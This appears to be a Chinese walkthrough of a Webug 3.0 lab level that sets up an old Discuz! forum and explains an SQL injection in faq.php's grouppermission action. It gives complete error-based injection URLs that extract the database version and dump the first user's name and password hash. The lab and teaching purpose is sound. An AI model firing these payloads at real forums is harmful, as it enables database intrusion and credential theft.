Webug3.0通关笔记18 中级进阶第06关 实战练习:DisCuz论坛SQL注入漏洞
目录
一、环境搭建
1、服务启动
2、源码解压
3、构造访问靶场URL
4、靶场安装
5、访问论坛首页
二、代码分析
1、源码分析
2、SQL注入分析
三、渗透实战
(1)判断是否有SQL注入风险
(2)查询账号密码
Discuz! 作为国内知名的论坛程序,源于代码中对用户输入处理不当,导致攻击者可构造恶意请求注入 SQL 语句,进而获取数据库信息、篡改数据甚至控制服务器。本文通过对Webug中级中的DisCuz论坛的SQL注入进行渗透实战,讲解环境搭建与SQL注入复现的过程。
一、环境搭建
1、服务启动
Discuz 论坛需要 PHP、MySQL 和 Web 服务器(如 Apache 或 Nginx)等环境支持。本文使用集成环境搭建工具phpStudy(适用于 Windows 系统),其中php的版本使用5.4.5,启动效果如下所示。
2、源码解压
进入到webug3靶场的pentest子目录,找到cms子文件夹中的dzluntan目录,进入后发现存在一个dzluntan.zip文件,这就是dzluntan论坛的源码,如下所示。
解压dzluntan压缩包后在当前目录生成dzluntan1文件夹,注意这里选择的是解压到当前文件夹,避免生成多一层文件夹。
将dzluntan1文件夹挪到其上一层目录cms中,如下所示。
3、构造访问靶场URL
此时DisCuz论坛源码的路径为根目录下的webug3\pentest\cms,故而其URL地址如下所示。
http://192.168.71.1/webug3/pentest/cms/dzluntan1
4、靶场安装
访问Discuz论坛首页,会被重定向到DisCuz论坛的安装页面,URL地址重定向后如下所示。
http://192.168.71.1/webug3/pentest/cms/dzluntan1/install/
如果提示如上,说明之前可能安装过了,那么就删掉如下lock文件。
再次进入安装主页,在安装页面中,阅读并点击 “我同意” 按钮,进入下一步。
接下来确保所有内容都是绿色的对号,然后点击下一步
接下来填写数据库密码,并配置管理员密码并点击下一步,这里密码需要与数据库密码设置一致,我这里都是root,另外需要记住管理员密码。
对于收集联系方式信息这一步直接选择跳过此步即可,如下图红框所示。
5、访问论坛首页
接下来提示安装成功,安装成功后网址URL地址主页如下所示。
http://192.168.71.1/webug3/pentest/cms/dzluntan1/
此时页面跳到Discuz首页,具体如下所示。
二、代码分析
1、源码分析
SQL注入风险是由源码faq.php中的148行action=grouppermission的代码导致,如下所示.
elseif($action == 'grouppermission') {...
...ksort($gids);$groupids = array();foreach($gids as $row) {$groupids[] = $row[0];}$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
对代码进行详细注释,如下所示,重点分析逻辑流程和潜在安全风险点。
// 处理"用户组权限"相关操作的分支
elseif($action == 'grouppermission') {// ...(省略其他业务逻辑代码,如参数接收、权限校验等)// 对$gids数组按照键名进行排序(通常用于统一数据顺序)ksort($gids);// 初始化空数组,用于存储提取后的用户组ID$groupids = array();// 遍历$gids数组,提取每个元素的第一个值存入$groupids// 注意:$gids的来源未显示,若来自用户输入则存在安全风险foreach($gids as $row) {// 此处直接取$row[0],未做类型验证或过滤$groupids[] = $row[0];}// 拼接SQL查询语句,查询用户组与管理员组的关联数据// 风险点:使用implodeids()处理$groupids后直接拼接进SQL$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
}
-
分支判断:
elseif($action == 'grouppermission')
表示当操作类型为 "grouppermission"(用户组权限)时,执行此代码块。
-
数组排序:
ksort($gids)
- 功能:按照数组
$gids
的键名(key)进行升序排序,确保数据顺序一致。 - 注意:
$gids
的来源未在代码中体现(可能来自用户提交的表单、URL 参数等),这是潜在风险的起点。
- 功能:按照数组
-
提取用户组 ID:
foreach($gids as $row) { $groupids[] = $row[0]; }
- 功能:从
$gids
的每个元素中提取第一个值(假设为用户组 ID),存入$groupids
数组。 - 风险点:
- 未对
$row[0]
进行类型验证(如是否为整数),若$row[0]
包含字符串(如1' OR 1=1
),则可能引入恶意内容。 - 未过滤特殊字符(如单引号、逗号等),直接将用户可控数据存入数组。
- 未对
- 功能:从
-
SQL 查询拼接:
WHERE u.groupid IN (".implodeids($groupids).")
- 功能:通过
implodeids()
函数将$groupids
数组转换为逗号分隔的字符串(如1,2,3
),用于IN
条件查询。 - 风险点:若
implodeids()
仅做简单拼接(如implode(',', $groupids)
),未对元素进行处理,直接拼接变量到 SQL 语句中,可能导致SQL注入。
- 功能:通过
2、SQL注入分析
首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了 。
SQL语句中的implodeids函数就是将上一步的的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。
function implodeids($array) {if(!empty($array)) {return "'".implode("','", is_array($array) ? $array : array($array))."'";} else {return '';}
}
不过在implodeids这个函数进行切分的时候,并没有考虑到数组的数据当中有字符/的情况,可以加一个判断过滤数组刚取出来一个转义符,它会将这里一个正常的单引号'转义掉 ,比如这样:
-
传入数据:
$gids
被赋值为 array( array('1'), array('2'), array('3\') AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))-- -') ) -
循环处理:
foreach
循环后,$groupids
数组变为:array( '1', '2', '3\') AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))-- -' ) -
函数拼接: 不安全的
implodeids($groupids)
处理这个数组,返回字符串:'1','2','3') AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))-- -'注意:最后一个元素的单引号被拼接进了字符串,而
-- -
注释掉了SQL语句末尾原本应有的那个单引号。 -
最终SQL: 完整的SQL语句变为:SELECT * FROM pre_usergroups u
LEFT JOIN pre_admingroups a ON u.groupid=a.admingid
WHERE u.groupid IN ('1','2','3') AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))-- -')数据库执行这条语句。IN
条件查询后,紧接着执行了一个报错注入函数EXTRACTVALUE
。数据库会执行子查询SELECT VERSION()
,并将结果拼接后作为报错信息返回。攻击者就能从页面的错误信息中看到数据库的版本号。
三、渗透实战
(1)判断是否有SQL注入风险
构造注入Payload语句如下所示,其中攻击的入口点为处理用户组权限的逻辑。
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
-
faq.php?action=grouppermission
: 这是攻击的目标URL和参数,指向处理用户组权限的逻辑。 -
&gids[99]='
:-
gids[]
是传入的参数,是一个数组。 -
gids[99]='
的目的是故意提供一个错误的值(一个孤立的单引号'
),用于提前闭合SQL语句中原本存在的引号,破坏原始SQL的语法结构,为后续注入铺路。
-
-
&gids[100][0]=
: 这是注入 payload 的主体部分。攻击者通过构造一个二维数组,并将Payload放在[100][0]
的位置,很可能是为了绕过某些简单的过滤或确保其Payload能被循环处理到。 -
注入的Payload核心主是通过concat(version(), floor(rand(0)*2))获取数据库的版本号:) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
-
concat(version(), floor(rand(0)*2))
:-
version()
: 目标函数。我们想让它执行并回显结果。这里可以替换为任何你想获取的信息,如user()
,database()
,(SELECT password FROM pre_ucenter_members WHERE uid=1)
等。 -
floor(rand(0)*2)
: 生成一个重复的、可预测的序列(0, 1, 1, 0, 1, 1...
)。rand(0)
因为种子固定,所以序列固定。 -
concat()
将数据库版本和这个随机数序列拼接在一起,例如5.7.421
。
-
-
...x from information_schema.tables group by x
:将上面的concat
结果重命名为x
,然后使用GROUP BY x
对结果进行分组。这里就是触发错误的关键:GROUP BY
或DISTINCT
操作在MySQL中需要创建临时表。当处理数据时,由于rand()
函数在分组过程中的计算时机问题,会导致主键重复冲突。数据库试图将两个相同的值(例如两个5.7.421
)插入临时表的唯一主键列,从而引发错误。
-
如下所示,获取到数据库的版本5.7.261,渗透成功。
(2)查询账号密码
查询用户名和密码的Payload结构与上一个相同,都是利用MySQL的GROUP BY
报错注入。最核心的区别在于concat()
函数内部嵌套的子查询,完整Payload如下所示。
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat((select concat(username,0x7e7e,password,0x7e7e) from cdb_members limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
-
select ... from cdb_members
:cdb_members
是Discuz!论坛默认的用户数据表。这表明攻击者的目标已经从探测系统信息升级为直接窃取用户敏感数据。username
和password
是这张表里的字段,分别存储用户名和密码哈希值(通常是MD5加密后的)。 -
concat(username, 0x7e7e, password, 0x7e7e)
:0x7e7e
是十六进制,解码后是两个波浪号~~
。这里被用作分隔符,目的是在最终的报错信息中清晰地分开用户名和密码哈希,便于攻击者识别和提取 -
limit 0, 1
:这限制了子查询只返回第一行(0, 1
表示从第0行开始,取1条记录)。攻击者通常从管理员账户(通常是第一个用户)开始窃取,因为拿下管理员账户就意味着控制了整个论坛。
这里要注意: 其中0x7e7e为 ~~的16进制,用来分割账号和密码,如下所示渗透成功。